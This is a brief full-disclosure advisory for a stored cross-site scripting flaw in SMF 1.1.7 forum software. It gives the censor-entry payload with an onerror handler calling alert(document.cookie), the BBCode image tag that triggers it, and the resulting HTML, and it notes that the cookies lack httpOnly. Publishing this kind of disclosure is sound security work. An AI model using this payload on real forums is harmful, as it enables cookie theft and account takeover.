SMF 1.1.7 (simplemachines.org) XSS
If you can modify the censor on a SMF forum, then you can make it execute arbitrary JS code. http://SMF.Forum.com/index.php?action=postsettings;sa=censor
Just add the following entry: http://www.test.xss/ => http://www.test-xss/" onerror="alert(document.cookie)
And then write a post, modify your signature, or send a PM with the code: [img]http://www.test.xss/[/img]
And the HTML code generated will be.. <img src="http://www.test-xss/" onerror="alert(document.cookie)" alt="" border="0" />
Notes: - SMF is not using httpOnly cookies. - I'm going full disclosure with this because I've had bad experiences with the SMF team when reporting vulnerabilities..
Greetings!! -- Eduardo http://www.sirdarckcat.net/